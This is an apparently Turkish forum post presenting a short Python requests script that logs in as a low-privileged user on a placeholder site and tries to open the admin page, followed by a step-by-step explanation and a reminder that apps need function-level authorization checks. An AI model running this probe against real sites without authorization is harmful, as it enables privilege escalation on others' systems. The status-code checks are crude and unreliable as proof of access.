Hoşgeldin Misafir

Python Kullanarak Yapay Zekayla Missing Function Level Access Control Saldırısı Yapmak

Mustafa73

20 Eyl 2023
423 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:

# Import requests library
import requests
# Define the target URL and the admin URL
target_url = "http://example.com/login"
admin_url = "http://example.com/admin"
# Create a session object
session = requests.Session()
# Login with a low-privileged user account
data = {"username": "user", "password": "pass"}
response = session.post(target_url, data=data)
# Check if login was successful
if response.status_code == 200:
print("Login successful")
else:
print("Login failed")
# Try to access the admin page
response = session.get(admin_url)
# Check if access was granted
if response.status_code == 200:
print("Access granted to admin page")
else:
print("Access denied to admin page")
#Yazan Rıdvan Kaya

Bu kod, Missing Function Level Access Control adlı bir siber güvenlik zafiyetini istismar etmeye çalışan bir Python programıdır. Bu zafiyet, bir web uygulamasının hassas istek işleyicileri için yeterli yetkilendirme kontrolleri yapmaması durumunda ortaya çıkar. Bu, kötü niyetli kullanıcıların, işlev düzeyinde izinlerini yükselterek kısıtlı kaynaklara erişmesine olanak tanır.
Bu kodda, şu adımlar izlenmektedir:
- requests kütüphanesi içe aktarılır. Bu kütüphane, HTTP istekleri göndermek ve almak için kullanılır.
- Hedef URL ve yönetici URL'si tanımlanır. Bu URL'ler, web uygulamasının giriş sayfası ve yönetici sayfasıdır.
- Bir session nesnesi oluşturulur. Bu nesne, sunucuyla kurulan bağlantıyı sürdürmek için kullanılır.
- Düşük ayrıcalıklı bir kullanıcı hesabıyla giriş yapılır. data değişkeni, kullanıcı adı ve şifre içerir. session.post() metodu, bu verileri hedef URL'ye gönderir ve bir yanıt nesnesi döndürür.
- Girişin başarılı olup olmadığı kontrol edilir. Yanıt nesnesinin durum kodu 200 ise, giriş başarılıdır. Aksi takdirde, giriş başarısızdır.
- Yönetici sayfasına erişilmeye çalışılır. session.get() metodu, yönetici URL'sine bir GET isteği gönderir ve bir yanıt nesnesi döndürür.
- Erişimin verilip verilmediği kontrol edilir. Yanıt nesnesinin durum kodu 200 ise, yönetici sayfasına erişim verilmiştir. Aksi takdirde, erişim reddedilmiştir.
Bu kod, web uygulamasının, kullanıcıların yetkilerini işlev düzeyinde doğrulamadığı varsayımına dayanır. Eğer bu varsayım doğruysa, düşük ayrıcalıklı bir kullanıcı, yönetici sayfasına erişebilir ve uygulamayı tehlikeye atabilir. Bu nedenle, web uygulamalarının, her bir işlev için uygun yetkilendirme kontrolleri uygulaması önemlidir.